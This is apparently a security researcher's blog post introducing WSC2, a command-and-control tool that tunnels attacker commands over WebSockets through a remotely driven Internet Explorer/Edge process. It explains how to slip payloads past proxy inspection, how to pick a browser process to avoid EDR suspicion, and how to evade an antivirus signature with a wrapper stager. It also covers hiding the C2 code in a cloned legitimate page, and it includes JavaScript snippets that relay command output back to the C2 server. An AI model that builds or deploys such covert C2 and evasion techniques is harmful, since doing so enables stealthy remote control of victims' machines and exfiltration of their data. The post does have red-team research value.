Using WebSockets and IE/Edge for C2 communications

Glad to introduce WSC2, C2 over WebSocket. But first, a bit of context…

In the wake of my latest researches around various covert channels for C2 communications and/or payload delivery (DBC2, DNSDelivery, WebDavC2, WebDavDelivery) I decided to have a look at something I’ve always left on the side until now: WebSockets.

The idea first came after discovering by accident (and I’m definitely not the first one) that BlueCoat ProxySG web proxies do not inspect WebSocket content. This is a well known fact apparently (https://support.symantec.com/en_US/article.TECH247199.html) so I decided to give it a quick try by downloading a completely unencrypted malicious payload over a websocket channel and guess what: the payload goes undetected, or rather un-inspected, by the various AV and NGAV that runs on the web gateway. Neat !

This looks like another cool channel for C2 communications, with the advantage of providing a persistent bidirectionnal TCP connection with the C2 server (that’s what WebSockets are all about isn’t it ?). Time for me to write a quick PoC.

Another thing I had in mind was to use the standard web browser available by default on any (recent) Windows desktop as the process in charge of all communications. This has few advantages:

  1. it’s EDR friendly as it is definitely less suspicious to see iexplorer.exe doing some web traffic than cscript.exe, powershell.exe or even an unknown/unsigned binary.
  2. It’s proxy friendly, including user authentication against the proxy if ever required
  3. Websockets are implemented in the browser
  4. Recent versions of IE and Edge even have a decent built-in cryptography API (WebCrypto) should we need it

It turns out using IE/Edge programmatically can be easily done through the use of the COM object « InternetExplorer.Application ». Driving the browser using a COM object can be achieved with almost any programming langage that I know of, so this should leave us with some options for developing the agent side: JScript/VBScript, Powershell, C#, etc.

Architecture


Building a C2 architecture based on these ideas would look like this:


Nothing too fancy:

  1. The controller runs a Web/WebSocket server as well as a command line interface allowing the attacker to enter commands for the agent
  2. The agent runs on the victim’s machine and executes any instructions it receives from the C2, interacting with a browser process handling all communications with the C2 server
  3. The browser process (Internet Explorer/Edge), controlled through a COM interface, handles all communications between the agent and the C2 server over a WebScoket channel

Getting hands on the code


The controller is written in Python and uses the Tornado API for serving Web/WebSocket, making it a piece of cake.

There are multiple versions of the agent. I initially wanted a version written in pure JScript, but then given some limitations I’ve been facing (see next section), I also went for a .Net assembly written in C#. This assembly can either be called as is (exe), from PowerShell or from JScript thanks to the DotNetToJScript technique and tool (I’ll never stop thanking @tiraniddo for this amazing tool 🙂).

For this PoC, I just want the agent to be able to launch a CLI and interact with it, as well as transferring files both ways. Other features should be easy to add, getting inspired by my DBC2 agent (taking screenshot, keylogger, run PS modules, persistence, etc.).

Solving issues


Accessing browser’s WebSocket objects

One of the issues I’ve been facing (most probably due to my lack of talent at programming) was to get direct access to the WebSocket handler and events from the javascript engine, defined in the HTML page loaded by the browser. The « InternetExplorer.Application » COM object gives us access to the DOM and all its HTMLElements, but apparently no such direct and easy access to the javascript objects.

So I had to use a nasty little trick which is to put and receive data through two DIV elements, one holding data received from the C2 server, one holding data to be sent to the C2 server:

<div id="_prefix_Input" style="display: none"></div>
<div id="_prefix_Output" style="display: none"></div>

Any data received by the browser’s WebSocket from the C2 server is written into the « input » DIV innerText:

ws.onmessage = function(event) {
document.getElementById("_prefix_Input").innerText = event.data;
};

The agent loops infinitely and checks if there’s some data available in the « input » DIV element innerText.

Any data to be sent back to the C2 server is written to the « output » DIV element innexText, then a click on a button is programmatically simulated in order to trigger this data to be sent back over the WebSocket:

var button = ieDocument.getElementById(prefix + "Button");
var output = ieDocument.getElementById(prefix + "Output");
[...]
output.innerText = encodeBase64(data);
[...]
button.click();

This triggers a javascript function to send the data to the C2 server:

<button id="_prefix_Button" style="display: none" type="button" onClick="sendResult()">sendResult</button>
<script>
function sendResult() {
	var data = document.getElementById("_prefix_Output").innerText;
	ws.send(data);
}
</script>

This works fine. It probably comes with a little performance overhead but, more importantly, with the issue of dealing with text only data as the DIV innerText will only support text. The solution is pretty straightforward: all data exchanged between agent and C2 server must be base64 encoded. This adds some overhead on the size of WebSocket messages, hence potentially hitting the message max size of the WebSocket implementation and limiting the data exfiltration capability over this channel.

Pure JScript agent limitations

The first agent I wrote was in pure JScript. In order to interact with a CLI process (cmd.exe) we have to instantiate a « WScript.Shell » object and we then have two options:
1. Use the « Run » method : doesn’t let us access the stdout of the child process, but allows for hidden window
2. Use the « Exec » method: lets us access the stdout of the child process, but doesn’t allow for hidden window (sigh)
Shit…

Another BIG problem is I didn’t manage to get a real ‘interactive’ shell, that is launch a cmd.exe, keep it running for all commands we want to run until we really want to exit. You can theoratically do that with the ‘Exec’ method, write to its StdIn stream and read from its StdOut/StdErr streams. But reading StdOut is blocking and is a pain in the ass to detect that there’s no more data available (atEndOfStream flag only triggers when the stream is closed).
After much struggle, I gave up with this problem: any command the attacker wants to execute will spawn a new cmd.exe, execute the command, then close…. And there will be a cmd.exe window poping-up… in other words, don’t use this version of the agent 🙂

Another version of the agent written in C# solves all these issues.

Agent versions


This « limited but easy to read » first pure JScript version of the agent is called « jscript1 » stager in the controller tool and you can generate this stager by invoking the « genStager jscript1 » command:


The pure JScript aforementioned limitations (!! actually me being limited and not knowing how to code this in a way that would work !!) led me to go for a second version of the agent written in C#. This version of the agent is then wrapped into a JScript script thanks to DotNetToJScript. It is called « jscript2 » stager in the controller tool and can be generated just the same way.

Eventually, because I found that the « jscript2 » stager was detected by some antivirus as « VB/CactusTorch », I created a more stealthy version of it that bypasses this AV problem, its just a wrapper around the jscript2 version. It’s called jscript3 stager.

Stealing idea from TrevorC2


While I was working on this PoC, @HackingDave released TrevorC2 (https://github.com/trustedsec/trevorc2) so I got inspired by his idea of hiding stuff in a cloned site. WSC2 offers the capability of hiding the WebSocket code and objects (just a few lines) within the html of a cloned legitimate site.

This is optional and can be controlled from the config file. If you define a site to be cloned, WSC2 will clone the first page of the site, add the WebSocket code at the end of the page and save it as the index.html file that will be loaded by our controlled browser on the victim’s machine. Thank you Dave 🙂

WSC2 tool


The WSC2 tool is released on GitHub: https://github.com/Arno0x/WSC2